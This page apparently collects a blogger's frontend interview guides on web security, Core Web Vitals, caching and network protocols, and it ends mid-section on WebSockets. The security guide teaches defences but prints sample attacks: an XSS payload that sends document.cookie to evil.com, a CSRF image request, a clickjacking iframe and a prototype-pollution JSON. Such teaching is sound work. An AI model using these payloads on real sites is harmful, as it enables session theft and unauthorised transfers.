Forem: Arghya Majumder

Frontend Security: A Senior Engineer's Guide

Arghya Majumder — Tue, 31 Mar 2026 19:38:32 +0000

Frontend Security: A Senior Engineer's Guide

Security is not optional. Understanding attack vectors and defenses is essential for any production system.

1. XSS (Cross-Site Scripting)

The most common frontend vulnerability (~40% of reported vulnerabilities). Attacker injects malicious scripts into your page.

Types of XSS

Type	How It Works	Example
Stored XSS	Malicious script saved in DB, served to all users	Comment: `<script>steal(cookies)</script>`
Reflected XSS	Script in URL, reflected in response	`site.com/search?q=<script>alert(1)</script>`
DOM-based XSS	Script manipulates DOM client-side	`innerHTML = location.hash`

Attack Example

// User submits this as their "name"
const userName = '<img src=x onerror="fetch(\'https://evil.com/steal?cookie=\'+document.cookie)">';

// Vulnerable code
document.getElementById('greeting').innerHTML = `Hello, ${userName}!`;

// Result: Attacker gets all cookies!

Defense: Output Encoding

// NEVER use innerHTML with user data
element.innerHTML = userInput;  // DANGEROUS

// Use textContent instead
element.textContent = userInput;  // SAFE - treats as text, not HTML

// Or sanitize HTML when you need rich content
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);

Defense: React's Automatic Escaping

// React escapes by default - SAFE
<div>{userInput}</div>

// DANGEROUS - explicitly bypasses protection
<div dangerouslySetInnerHTML={{ __html: userInput }} />

// If you must use it, sanitize first
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />

Defense: Content Security Policy (CSP)

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://trusted-cdn.com;
  style-src 'self' 'unsafe-inline';
  img-src *;
  connect-src 'self' https://api.myapp.com;
  frame-ancestors 'none';

Directive	Purpose
`default-src`	Fallback for all resource types
`script-src`	Where JS can load from
`style-src`	Where CSS can load from
`img-src`	Where images can load from
`connect-src`	Where fetch/XHR can connect
`frame-ancestors`	Who can embed this page (clickjacking prevention)

CSP: Nonces for Inline Scripts

<!-- Server generates random nonce per request -->
<script nonce="random123abc">
  // This inline script is allowed
  console.log('Trusted inline code');
</script>

<!-- Header includes the nonce -->
Content-Security-Policy: script-src 'nonce-random123abc'

<!-- Attacker's injected script has no nonce = BLOCKED -->
<script>alert('XSS')</script>

Defense: Trusted Types API

// Force browser to block unsafe DOM manipulations
// Works in Chrome/Edge

// In CSP header:
Content-Security-Policy: require-trusted-types-for 'script'

// Now this throws an error:
element.innerHTML = userInput;  // TypeError!

// Must use a Trusted Type:
const policy = trustedTypes.createPolicy('myPolicy', {
  createHTML: (input) => DOMPurify.sanitize(input)
});

element.innerHTML = policy.createHTML(userInput);  // OK

2. CSRF (Cross-Site Request Forgery)

Attacker tricks user's browser into making authenticated requests to your site.

The Attack

1. User logs into bank.com (session cookie set)
2. User visits evil.com
3. evil.com has: <img src="https://bank.com/transfer?to=attacker&amount=10000">
4. Browser sends request WITH bank.com cookies automatically
5. Transfer happens without user's knowledge!

Defense: SameSite Cookies

Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly

SameSite Value	Behavior
`Strict`	Cookie NEVER sent on cross-site requests
`Lax`	Cookie sent on top-level navigations (links), not forms/images
`None`	Cookie always sent (must have `Secure` flag)

Defense: CSRF Tokens (Synchronizer Token Pattern)

<!-- Server embeds unique token in form -->
<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="abc123xyz">
  <input type="text" name="amount">
  <button type="submit">Transfer</button>
</form>

// Server validates token matches session
if (request.body.csrf_token !== session.csrfToken) {
  return res.status(403).send('Invalid CSRF token');
}

Defense: Double-Submit Cookie (For SPAs)

// Server sets a random value in a cookie
Set-Cookie: XSRF-TOKEN=random123; Path=/

// Frontend reads it and sends in header
const token = document.cookie
  .split('; ')
  .find(row => row.startsWith('XSRF-TOKEN='))
  ?.split('=')[1];

fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-XSRF-TOKEN': token  // Server compares cookie vs header
  }
});

// Attacker can't read our cookies, so can't forge the header!

3. Secure State & Storage Management

One of the most common senior-level mistakes is storing sensitive data insecurely.

The Storage Hierarchy

Storage	Security	Use For
`localStorage`	Accessible to ANY JS (XSS vulnerable)	Non-sensitive preferences
`sessionStorage`	Same as localStorage, cleared on tab close	Temporary non-sensitive data
`HttpOnly Cookie`	NOT accessible to JS	Session tokens, auth tokens
`In-Memory`	Lost on refresh, safest from XSS	Short-lived access tokens

The Secure Token Pattern

┌──────────┐                              ┌──────────┐
│  Client  │                              │  Server  │
└────┬─────┘                              └────┬─────┘
     │                                         │
     │  Login: username/password               │
     │────────────────────────────────────────▶│
     │                                         │
     │  Access Token (15min) in JSON body      │
     │  Refresh Token in HttpOnly cookie       │
     │◀────────────────────────────────────────│
     │                                         │
     │  Store access token IN MEMORY ONLY      │
     │                                         │
     │  API calls with: Authorization: Bearer  │
     │────────────────────────────────────────▶│
     │                                         │
     │  Access token expired (401)             │
     │◀────────────────────────────────────────│
     │                                         │
     │  POST /refresh (HttpOnly cookie sent)   │
     │────────────────────────────────────────▶│
     │                                         │
     │  New access token in response body      │
     │◀────────────────────────────────────────│

Why this pattern?

Access token in memory: XSS can't steal it from localStorage
Refresh token in HttpOnly cookie: XSS can't read it
Short-lived access token: Limits damage window if stolen

4. Clickjacking (UI Redressing)

Attacker overlays invisible iframe over legitimate content.

The Attack

<!-- On evil.com -->
<style>
  iframe {
    opacity: 0;
    position: absolute;
    top: 0; left: 0;
    width: 100%; height: 100%;
  }
</style>

<button>Click to win $1000!</button>
<iframe src="https://bank.com/transfer?to=attacker"></iframe>

<!-- User thinks they click button, actually clicks iframe -->

Defense: X-Frame-Options

X-Frame-Options: DENY              # Never allow framing
X-Frame-Options: SAMEORIGIN        # Only same origin can frame

Defense: CSP frame-ancestors (Modern)

Content-Security-Policy: frame-ancestors 'self' https://trusted.com

5. Third-Party Supply Chain Attacks

Modern frontend apps have thousands of dependencies. If one package is compromised, your system is at risk.

Defense: Subresource Integrity (SRI)

<script
  src="https://cdn.example.com/library.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
  crossorigin="anonymous">
</script>

If the file's hash doesn't match, browser refuses to execute.

Defense: Automated Auditing

# In CI/CD pipeline
npm audit --audit-level=high
# Fails build if high/critical vulnerabilities found

Defense: Sandboxed Iframes for Third-Party Scripts

<!-- Risky third-party script (e.g., ad tracker) -->
<iframe
  src="https://ads.example.com/tracker"
  sandbox="allow-scripts"
  style="display: none;">
</iframe>

<!-- sandbox restricts: -->
<!-- - No access to parent DOM -->
<!-- - No cookies from parent origin -->
<!-- - No form submission -->
<!-- - No top-level navigation -->

6. Prototype Pollution

A JavaScript-specific attack where attacker modifies Object.prototype.

The Attack

// Vulnerable merge function
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object') {
      target[key] = merge(target[key] || {}, source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

// Attacker sends JSON payload:
const malicious = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, malicious);

// Now EVERY object has isAdmin: true!
const user = {};
console.log(user.isAdmin);  // true!

Defense

// Check for dangerous keys
function safeMerge(target, source) {
  for (let key in source) {
    if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
      continue;  // Skip dangerous keys
    }
    if (typeof source[key] === 'object' && source[key] !== null) {
      target[key] = safeMerge(target[key] || {}, source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

// Or use Object.create(null) for prototype-less objects
const safeObject = Object.create(null);  // No prototype chain

7. Secrets Management

Never Expose in Frontend Code

// WRONG: Bundled into client JS, visible to anyone
const API_KEY = 'sk_live_abc123';
fetch(`https://api.stripe.com/charges?key=${API_KEY}`);

// RIGHT: Proxy through your server
fetch('/api/create-charge', { method: 'POST', body: data });

// Server adds the secret
app.post('/api/create-charge', (req, res) => {
  fetch('https://api.stripe.com/charges', {
    headers: { 'Authorization': `Bearer ${process.env.STRIPE_SECRET_KEY}` }
  });
});

What's OK to Expose

// Public/Publishable keys are DESIGNED for frontend
const STRIPE_PUBLISHABLE_KEY = 'pk_live_xyz';  // OK
const FIREBASE_API_KEY = 'AIzaSy...';  // OK (scoped by security rules)
const GOOGLE_MAPS_KEY = 'abc123';  // OK (restricted by HTTP referrer)

8. Secure Headers Checklist

# Prevent XSS
Content-Security-Policy: default-src 'self'; script-src 'self'

# Prevent clickjacking
X-Frame-Options: DENY

# Prevent MIME sniffing
X-Content-Type-Options: nosniff

# Force HTTPS for 1 year
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

# Control Referer header
Referrer-Policy: strict-origin-when-cross-origin

# Limit browser features
Permissions-Policy: geolocation=(), microphone=(), camera=()

9. Security Checklist Summary

Priority	Action	Reason
Critical	HTTPS Only	Protects data in transit (MitM attacks)
Critical	Sanitize & Validate	Never trust user input, URL params, or API data
Critical	CSP with nonces	Mitigates XSS by blocking inline scripts
High	HttpOnly cookies	Prevents XSS from stealing session tokens
High	SameSite=Strict cookies	Prevents CSRF attacks
High	No secrets in frontend	Use server-side proxy for sensitive API keys
Medium	SRI for CDN scripts	Prevents supply chain attacks
Medium	Automated dependency audits	Catches vulnerable packages early

10. Interview Tip

"I approach frontend security with defense in depth. For XSS, I use output encoding (textContent over innerHTML), React's automatic escaping, and strict CSP with nonces. For CSRF, I combine SameSite cookies with token validation. For authentication, I prefer short-lived access tokens in memory with refresh tokens in HttpOnly cookies — this limits XSS damage while maintaining usability. I always validate on the server (client validation is just UX), use SRI for CDN scripts, and ensure secure headers are set (HSTS, X-Frame-Options, CSP). For supply chain security, I integrate npm audit into CI/CD."

Core Web Vitals: A Senior Engineer's Guide

Arghya Majumder — Tue, 31 Mar 2026 13:28:19 +0000

Core Web Vitals: A Senior Engineer's Guide

A comprehensive guide to measuring and optimizing Core Web Vitals for system design interviews.

1. What Are Core Web Vitals?

Core Web Vitals are Google's standardized metrics for measuring user experience. They directly impact SEO rankings.

┌─────────────────────────────────────────────────────────────┐
│                    CORE WEB VITALS                          │
├──────────────────┬──────────────────┬──────────────────────┤
│       LCP        │       INP        │        CLS           │
│    Loading       │  Interactivity   │   Visual Stability   │
│                  │                  │                      │
│  < 2.5s GOOD     │  < 200ms GOOD    │   < 0.1 GOOD        │
│  2.5-4s NEEDS    │  200-500ms NEEDS │   0.1-0.25 NEEDS    │
│  > 4s POOR       │  > 500ms POOR    │   > 0.25 POOR       │
└──────────────────┴──────────────────┴──────────────────────┘

2. LCP (Largest Contentful Paint)

What It Measures

The time it takes for the largest visible element to render in the viewport.

┌─────────────────────────────────────────────────────────────┐
│  Timeline                                                    │
│                                                              │
│  0ms ─────────────────────────────────────────────▶ 2500ms  │
│       │              │              │                        │
│       │              │              └── LCP: Hero image      │
│       │              │                  fully painted        │
│       │              │                                       │
│       │              └── FCP: First text painted            │
│       │                                                      │
│       └── TTFB: First byte received                         │
│                                                              │
│  What counts as LCP element:                                 │
│  ├── <img> elements                                         │
│  ├── <image> inside <svg>                                   │
│  ├── <video> poster image                                   │
│  ├── Background image via CSS url()                         │
│  └── Block-level text elements (<h1>, <p>, etc.)            │
└─────────────────────────────────────────────────────────────┘

Measuring LCP

// Using web-vitals library
import { onLCP } from 'web-vitals';

onLCP((metric) => {
  console.log('LCP:', metric.value);
  console.log('LCP Element:', metric.entries[0]?.element);
  console.log('Rating:', metric.rating);  // 'good', 'needs-improvement', 'poor'

  // Send to analytics
  sendToAnalytics({
    name: 'LCP',
    value: metric.value,
    id: metric.id,
    rating: metric.rating
  });
});

// Using PerformanceObserver directly
const observer = new PerformanceObserver((list) => {
  const entries = list.getEntries();
  const lastEntry = entries[entries.length - 1];

  console.log('LCP:', lastEntry.startTime);
  console.log('Element:', lastEntry.element);
});

observer.observe({ type: 'largest-contentful-paint', buffered: true });

Optimizing LCP

Cause	Solution
Slow server response	CDN, edge caching, optimize backend
Render-blocking resources	Inline critical CSS, defer JS
Slow resource load	Preload LCP image, use CDN
Client-side rendering	SSR/SSG for above-fold content

<!-- Preload the LCP image -->
<link rel="preload" as="image" href="/hero.jpg" fetchpriority="high">

<!-- For responsive images -->
<link rel="preload" as="image" href="/hero.jpg"
      imagesrcset="hero-400.jpg 400w, hero-800.jpg 800w"
      imagesizes="100vw">

<!-- Inline critical CSS -->
<style>
  .hero-image {
    width: 100%;
    height: auto;
    aspect-ratio: 16/9;
  }
</style>

<!-- Prioritize LCP image -->
<img src="hero.jpg" fetchpriority="high" alt="Hero">

3. INP (Interaction to Next Paint)

What It Measures

INP measures the latency of all user interactions throughout the page lifecycle and reports the worst one (at the 98th percentile).

User clicks button
       │
       ▼
┌──────────────────┐
│  Input Delay     │  ← Time waiting in queue (main thread busy)
│  (event queued)  │
└────────┬─────────┘
         │
         ▼
┌──────────────────┐
│  Processing Time │  ← Event handler execution time
│  (handler runs)  │
└────────┬─────────┘
         │
         ▼
┌──────────────────┐
│  Presentation    │  ← Time for browser to paint the result
│  Delay           │
└────────┬─────────┘
         │
         ▼
    Next Paint

INP = Input Delay + Processing Time + Presentation Delay

Why INP Replaced FID

Metric	What It Measures	Problem
FID	Only FIRST interaction delay	Easy to game (fast initial load, slow later)
INP	ALL interactions, reports worst	Measures real user experience

Measuring INP

import { onINP } from 'web-vitals';

onINP((metric) => {
  console.log('INP:', metric.value);
  console.log('Rating:', metric.rating);

  // The interaction that caused the worst INP
  const entry = metric.entries[0];
  console.log('Interaction target:', entry.target);
  console.log('Interaction type:', entry.name);  // 'click', 'keydown', etc.
});

// Manual measurement with PerformanceObserver
const observer = new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    // entry.duration = total interaction time
    // entry.processingStart - entry.startTime = input delay
    // entry.processingEnd - entry.processingStart = processing time

    if (entry.duration > 200) {
      console.warn('Slow interaction:', {
        type: entry.name,
        duration: entry.duration,
        target: entry.target
      });
    }
  }
});

observer.observe({ type: 'event', buffered: true, durationThreshold: 16 });

Optimizing INP

// ❌ BAD - Long task blocks main thread
button.addEventListener('click', () => {
  // 200ms of synchronous work
  processLargeDataset(data);
  updateUI();
});

// ✅ GOOD - Yield to main thread
button.addEventListener('click', async () => {
  // Show immediate feedback
  button.classList.add('loading');

  // Yield control back to browser
  await scheduler.yield?.() || new Promise(r => setTimeout(r, 0));

  // Do heavy work
  processLargeDataset(data);
  updateUI();
});

// ✅ BETTER - Use Web Worker for heavy computation
const worker = new Worker('processor.js');

button.addEventListener('click', () => {
  button.classList.add('loading');
  worker.postMessage(data);
});

worker.onmessage = (e) => {
  updateUI(e.data);
  button.classList.remove('loading');
};

// ✅ Break up work with requestIdleCallback
function processInChunks(items, callback) {
  const queue = [...items];

  function processNext(deadline) {
    while (queue.length > 0 && deadline.timeRemaining() > 0) {
      const item = queue.shift();
      callback(item);
    }

    if (queue.length > 0) {
      requestIdleCallback(processNext);
    }
  }

  requestIdleCallback(processNext);
}

Cause	Solution
Long event handlers	Break into smaller tasks, yield
Heavy computation	Move to Web Worker
Large DOM updates	Virtual DOM, batch updates
Third-party scripts	Defer, facade pattern

4. CLS (Cumulative Layout Shift)

What It Measures

CLS quantifies how much visible elements unexpectedly shift during page load.

┌─────────────────────────────────────────────────────────────┐
│  Before Ad Loads              After Ad Loads                 │
│  ┌────────────────┐           ┌────────────────┐            │
│  │    Header      │           │    Header      │            │
│  ├────────────────┤           ├────────────────┤            │
│  │    Article     │           │      AD        │ ← Inserted │
│  │    Content     │           ├────────────────┤            │
│  │                │           │    Article     │ ← Shifted! │
│  │   [Button]     │           │    Content     │            │
│  └────────────────┘           │   [Button]     │ ← Misclick!│
│                               └────────────────┘            │
│                                                              │
│  CLS Score = Impact Fraction × Distance Fraction            │
│                                                              │
│  Impact: % of viewport affected                              │
│  Distance: How far elements moved (as % of viewport)         │
└─────────────────────────────────────────────────────────────┘

The CLS Formula

Layout Shift Score = Impact Fraction × Distance Fraction

Impact Fraction = (Area of shifted elements) / (Viewport area)
Distance Fraction = (Max distance moved) / (Viewport height or width)

Example:
- Element covers 50% of viewport (impact = 0.5)
- Element moves 25% of viewport height (distance = 0.25)
- Score = 0.5 × 0.25 = 0.125

Measuring CLS

import { onCLS } from 'web-vitals';

onCLS((metric) => {
  console.log('CLS:', metric.value);
  console.log('Shifts:', metric.entries.length);

  // Identify culprit elements
  metric.entries.forEach(entry => {
    entry.sources?.forEach(source => {
      console.log('Shifted element:', source.node);
    });
  });
});

// Using PerformanceObserver
let clsValue = 0;
let clsEntries = [];

const observer = new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    // Only count unexpected shifts (not from user input)
    if (!entry.hadRecentInput) {
      clsValue += entry.value;
      clsEntries.push(entry);
    }
  }
});

observer.observe({ type: 'layout-shift', buffered: true });

Optimizing CLS

<!-- ✅ Reserve space for images with aspect-ratio -->
<img
  src="photo.jpg"
  width="800"
  height="600"
  style="aspect-ratio: 4/3; width: 100%; height: auto;"
  alt="Photo"
>

<!-- ✅ Reserve space for ads -->
<div class="ad-container" style="min-height: 250px;">
  <!-- Ad loads here -->
</div>

/* ✅ Prevent font swap layout shift */
@font-face {
  font-family: 'CustomFont';
  src: url('font.woff2') format('woff2');
  font-display: optional;  /* or 'swap' with size-adjust */
  size-adjust: 100.5%;     /* Match fallback metrics */
}

/* ✅ Use transform for animations (doesn't cause layout shift) */
.animate {
  transform: translateY(-10px);  /* Good */
}

.animate-bad {
  margin-top: -10px;  /* Bad - causes layout shift */
}

Cause	Solution
Images without dimensions	Always set width/height or aspect-ratio
Ads/embeds without reserved space	Use min-height containers
Dynamically injected content	Insert below fold or reserve space
Web fonts causing FOUT	font-display: optional, or size-adjust
Animations using layout properties	Use transform instead

5. Additional Metrics

TTFB (Time to First Byte)

const navigation = performance.getEntriesByType('navigation')[0];
const ttfb = navigation.responseStart - navigation.requestStart;

// Good: < 800ms
// Needs improvement: 800-1800ms
// Poor: > 1800ms

FCP (First Contentful Paint)

import { onFCP } from 'web-vitals';

onFCP((metric) => {
  console.log('FCP:', metric.value);
  // Good: < 1.8s
});

Long Tasks

// Detect tasks blocking main thread > 50ms
const observer = new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    console.warn(`Long task: ${entry.duration}ms`);

    // Get attribution if available
    if (entry.attribution) {
      console.log('Script:', entry.attribution[0]?.name);
    }
  }
});

observer.observe({ type: 'longtask', buffered: true });

6. Complete Measurement Setup

import { onLCP, onINP, onCLS, onFCP, onTTFB } from 'web-vitals';

function sendToAnalytics(metric) {
  const body = JSON.stringify({
    name: metric.name,
    value: metric.value,
    rating: metric.rating,
    delta: metric.delta,
    id: metric.id,
    navigationType: metric.navigationType,
    // Include page context
    url: window.location.href,
    userAgent: navigator.userAgent,
    connection: navigator.connection?.effectiveType,
    deviceMemory: navigator.deviceMemory
  });

  // Use sendBeacon for reliability (survives page unload)
  if (navigator.sendBeacon) {
    navigator.sendBeacon('/analytics/vitals', body);
  } else {
    fetch('/analytics/vitals', {
      body,
      method: 'POST',
      keepalive: true
    });
  }
}

// Register all Core Web Vitals
onLCP(sendToAnalytics);
onINP(sendToAnalytics);
onCLS(sendToAnalytics);

// Additional helpful metrics
onFCP(sendToAnalytics);
onTTFB(sendToAnalytics);

// Report only once per page
const reported = new Set();
function sendOnce(metric) {
  if (!reported.has(metric.name)) {
    reported.add(metric.name);
    sendToAnalytics(metric);
  }
}

7. Debugging in DevTools

Chrome DevTools Performance Panel

1. Open DevTools → Performance tab
2. Check "Web Vitals" checkbox
3. Click Record, interact with page
4. Stop recording
5. Look for:
   - LCP marker on timeline
   - Layout Shift events (red bars)
   - Long Tasks (gray bars > 50ms)

Lighthouse

1. Open DevTools → Lighthouse tab
2. Select "Performance" category
3. Generate report
4. Check:
   - Core Web Vitals scores
   - "Opportunities" for improvements
   - "Diagnostics" for detailed issues

Web Vitals Extension

Chrome Extension: "Web Vitals"
- Shows real-time CWV scores
- Green/Yellow/Red indicators
- Click for detailed breakdown

8. Lab vs Field Data

Data Type	Source	Use Case
Lab	Lighthouse, DevTools	Development, debugging
Field	CrUX, RUM	Real user experience

┌─────────────────────────────────────────────────────────────┐
│  WHY THEY DIFFER                                             │
│                                                              │
│  Lab Data:                                                   │
│  - Simulated device/network                                  │
│  - No real user interaction                                  │
│  - Consistent, reproducible                                  │
│                                                              │
│  Field Data:                                                 │
│  - Real devices (slow phones!)                              │
│  - Real networks (3G in India!)                             │
│  - Real user behavior                                        │
│                                                              │
│  Field data is what Google uses for rankings!                │
└─────────────────────────────────────────────────────────────┘

Chrome User Experience Report (CrUX)

// Query CrUX API
const response = await fetch(
  `https://chromeuxreport.googleapis.com/v1/records:queryRecord?key=${API_KEY}`,
  {
    method: 'POST',
    body: JSON.stringify({
      url: 'https://example.com',
      metrics: ['largest_contentful_paint', 'interaction_to_next_paint', 'cumulative_layout_shift']
    })
  }
);

const data = await response.json();
console.log('P75 LCP:', data.record.metrics.largest_contentful_paint.percentiles.p75);

9. Quick Reference

Metric	Good	Needs Work	Poor	Primary Cause
LCP	< 2.5s	2.5-4s	> 4s	Slow resource load
INP	< 200ms	200-500ms	> 500ms	Long tasks
CLS	< 0.1	0.1-0.25	> 0.25	Dynamic content

Optimization Cheat Sheet

Metric	Quick Wins
LCP	Preload hero image, inline critical CSS, CDN
INP	Break long tasks, use Web Workers, debounce
CLS	Set image dimensions, reserve ad space, use transform

10. Interview Tip

"I measure Core Web Vitals using the web-vitals library and send data to our analytics backend using sendBeacon for reliability. For LCP, I preload the hero image and inline critical CSS. For INP, I profile with DevTools to find long tasks and break them up using yield points or move heavy computation to Web Workers. For CLS, I ensure all images have explicit dimensions and reserve space for dynamic content like ads. I distinguish between lab and field data—Lighthouse is for debugging, but CrUX/RUM reflects real user experience and is what Google uses for rankings. We track P75 values and set alerts when they degrade."

Caching Strategies: A Senior Engineer's Guide

Arghya Majumder — Tue, 31 Mar 2026 13:24:03 +0000

Caching Strategies: A Senior Engineer's Guide

A comprehensive guide to caching at every layer — from browser to CDN to database — for system design interviews.

1. Client-Side: The "Edge of the Edge"

At a senior level, client-side caching isn't just about localStorage; it's about interception and background synchronization.

Service Workers (The Programmable Proxy)

Service Workers live between the browser and the network, allowing you to implement complex caching logic.

// Stale-While-Revalidate pattern
self.addEventListener('fetch', (event) => {
  event.respondWith(
    caches.open('v1').then(async (cache) => {
      const cachedResponse = await cache.match(event.request);

      // Fetch fresh data in background
      const fetchPromise = fetch(event.request).then((response) => {
        cache.put(event.request, response.clone());
        return response;
      });

      // Return cached immediately, update in background
      return cachedResponse || fetchPromise;
    })
  );
});

Strategy by Request Type

Use request.destination to apply different strategies:

Destination	Strategy	Example
`font`	Cache-Only	Self-hosted web fonts (never change)
`image`	Cache-First	Product images, logos
`document`	Network-First	HTML pages (need fresh content)
`fetch` (API)	Network-First	Real-time stock/API data

Browser HTTP Cache

Controlled by Cache-Control headers.

Fingerprinting Strategy:

# Immutable assets with hash in filename
main.a4f2b3c.js  →  Cache-Control: max-age=31536000, immutable

# HTML files (need revalidation)
index.html      →  Cache-Control: no-cache

Result: Users only download core platform logic once per release.

2. Networking & Infrastructure Layers

This is where you manage the "Thundering Herd" problem and geographical latency.

The Caching Hierarchy

┌─────────────────────────────────────────────────────────────┐
│  Browser Cache                                              │
│  └─▶ Service Worker Cache                                   │
│      └─▶ Forward Proxy (ISP/Corporate)                      │
│          └─▶ CDN Edge (Cloudflare, Akamai)                  │
│              └─▶ Reverse Proxy (Nginx/Varnish)              │
│                  └─▶ Application Cache (Redis)              │
│                      └─▶ Database                           │
└─────────────────────────────────────────────────────────────┘

Forward Proxy Cache (ISP/Corporate Layer)

Caches requests made by users behind a firewall.

The Trap: You have zero control here. If you don't use fingerprinted filenames, a corporate proxy might serve an old version of your React app for weeks.

Fix: Always use content-hashed filenames for static assets.

Reverse Proxy Cache (Gateway Layer)

Your Nginx/Varnish fleet sitting in front of application servers.

Micro-caching Pattern:

# Cache for just 1 second
proxy_cache_valid 200 1s;

For viral real-time endpoints (trending news feed), this collapses 10,000 simultaneous requests into a single origin hit, protecting your backend.

CDN (Edge Caching)

Dynamic Content with ESI (Edge Side Includes)

Assemble pages where some parts are cached longer than others:

<!-- Header cached globally for 24 hours -->
<esi:include src="/fragments/header" />

<!-- User profile fetched dynamically per-request -->
<esi:include src="/fragments/user-profile" />

<!-- Footer cached globally for 24 hours -->
<esi:include src="/fragments/footer" />

Surrogate Keys (Smart Purging)

Instead of purging URLs one by one, tag your assets:

Cache-Tag: product-123, category-electronics

When the product price changes, send one "Purge by Tag" command to clear every related asset globally.

3. Application & Data Layers

Redis vs. Memcached

Feature	Redis	Memcached
Data Structures	Lists, Sets, Hashes, Sorted Sets	Key-Value only
Persistence	Yes (RDB/AOF)	No
Pub/Sub	Yes	No
Threading	Single-threaded	Multi-threaded
Use Case	Complex state, real-time leaderboards	High-throughput simple caching

When to use Redis:

Sorted Set for real-time leaderboard
Pub/Sub to invalidate local caches across 100 app servers
Session storage with TTL

When to use Memcached:

Pure object caching
Maximum throughput for simple key-value lookups

ElastiCache (AWS Managed)

Provides Redis/Memcached with:

Automatic sharding
High availability
Multi-AZ replication

4. Cache Consistency Patterns

Pattern	How It Works	Trade-off
Cache-Aside	App checks cache first, fetches from DB on miss, writes to cache	Simple but risk of stale data
Write-Through	Write to cache AND DB simultaneously	Consistent but slower writes
Write-Behind	Write to cache immediately, flush to DB async	Fast writes but risk of data loss
Read-Through	Cache fetches from DB on miss automatically	Simpler app code

Write-Behind Example (View Counters)

// Increment in Redis immediately (fast)
await redis.incr(`views:article:${id}`);

// Background job flushes to DB every 5 minutes
// Risk: Data loss if Redis fails before flush

5. Special Case: Video Streaming (HLS/DASH)

Streaming requires a "binary-first" caching mindset.

Different TTLs for Different Files

File Type	Purpose	TTL
`.m3u8` / `.mpd` (Manifest)	"Map" of the stream	1-2 seconds
`.ts` / `.m4s` (Segments)	Actual video chunks	Long-term (immutable)

Why Manifests Need Short TTL

#EXTM3U
#EXT-X-TARGETDURATION:6
#EXTINF:6.0,
segment001.ts    ← Already cached at edge
segment002.ts    ← Already cached at edge
segment003.ts    ← NEW! User needs to see this

If manifest is cached too long, users fall behind the live edge.

Low-Latency HLS (LL-HLS)

Uses Blocking Playlist Reload:

1. Client requests manifest
2. CDN sees next segment isn't ready yet
3. CDN HOLDS the request open (doesn't return 404)
4. When segment is ready, CDN returns updated manifest

CDN Config Required: Must support "holding" requests, not immediately returning stale/404.

6. Quick Reference: Cache Headers

Header	Purpose	Example
`Cache-Control`	Main caching directive	`max-age=3600, public`
`ETag`	Content fingerprint for validation	`"abc123"`
`Last-Modified`	Timestamp-based validation	`Wed, 21 Oct 2024 07:28:00 GMT`
`Vary`	Cache separately by header	`Vary: Accept-Encoding`
`Surrogate-Control`	CDN-specific directives	`max-age=86400`
`Cache-Tag`	For tag-based purging	`product-123`

7. Interview Tip

"Caching is about trade-offs between freshness and speed. I use fingerprinted assets with immutable caching for static files, short TTLs with stale-while-revalidate for API data, and micro-caching at the reverse proxy to handle thundering herds. For complex invalidation, I use surrogate keys to purge by tag rather than URL. At the data layer, I choose Redis for complex structures and Pub/Sub invalidation, Memcached for pure throughput."

Network Protocols: A Senior Engineer's Guide

Arghya Majumder — Tue, 31 Mar 2026 13:03:27 +0000

Network Protocols: A Senior Engineer's Guide

A comprehensive guide to REST, GraphQL, WebSockets, and SSE for system design interviews.

1. REST (Representational State Transfer)

REST is the foundation of most web communication, built on the stateless nature of HTTP.

Transport Mechanism

Operates primarily over HTTP/1.1 or HTTP/2:

Version	Behavior
HTTP/1.1	Each request usually requires a new TCP connection (or reuses with overhead)
HTTP/2	Multiplexes multiple requests over a single connection to reduce latency

The "Over-fetching" Problem

A major architectural drawback of REST is that endpoints return a fixed data structure.

GET /users/1

// You only need the name, but you get everything:
{
  "id": 1,
  "name": "John",
  "email": "john@example.com",
  "address": { ... },
  "orderHistory": [ ... ],  // 50KB of data you don't need
  "preferences": { ... }
}

Result: Wasting bandwidth and browser memory.

Caching Strategy (REST's Superpower)

REST is uniquely powerful because it leverages standard HTTP caching headers:

Header	Purpose
`ETag`	Content fingerprint for conditional requests
`Cache-Control`	Tells browser/CDN how long to cache
`Last-Modified`	Timestamp-based cache validation

Browsers and CDNs can natively cache REST responses, significantly reducing server load for static or semi-static data.

2. GraphQL

GraphQL is a query language for APIs that provides a complete and understandable description of the data in your API.

The "Under-fetching" Solution

Unlike REST, which might require three separate calls to get a user, their posts, and their followers, GraphQL fetches all of this in a single round trip.

# One request, all the data you need
query {
  user(id: 1) {
    name
    posts {
      title
    }
    followers {
      name
    }
  }
}

Critical for mobile: High latency on cellular networks makes multiple round trips expensive.

Schema & Type Safety

GraphQL uses a strongly typed schema:

type User {
  id: ID!
  name: String!
  email: String!
  posts: [Post!]!
}

Benefit: Tools like GraphQL Code Generator automatically create TypeScript interfaces, ensuring the frontend never attempts to access a field that doesn't exist.

Architectural Cost

Because GraphQL often uses POST requests for all queries, native browser caching is much harder.

Solutions:

Apollo Client - Sophisticated in-memory cache with normalized data
Relay - Facebook's production-grade caching layer
Persisted Queries - Hash queries to enable GET requests and CDN caching

3. WebSockets (WS)

WebSockets provide a persistent, full-duplex (two-way) communication channel between client and server.

The Handshake

1. Client sends HTTP request with "Upgrade: websocket" header
2. Server responds with "101 Switching Protocols"
3. Protocol switches from HTTP to Binary/Frame-based communication
4. Connection stays open for bidirectional messaging

Framing and Overhead

Protocol	Header Size per Message
HTTP	~800 bytes (cookies, user-agents, etc.)
WebSocket	2-10 bytes (after handshake)

Result: Most efficient protocol for high-frequency data:

Cursor positions in collaborative docs (Google Docs)
Rapid price updates (Trading platforms)
Multiplayer game state

State Management Challenge

Since the connection is persistent, the server must keep a record of every connected client in memory.

Problem: Horizontal scaling is difficult.

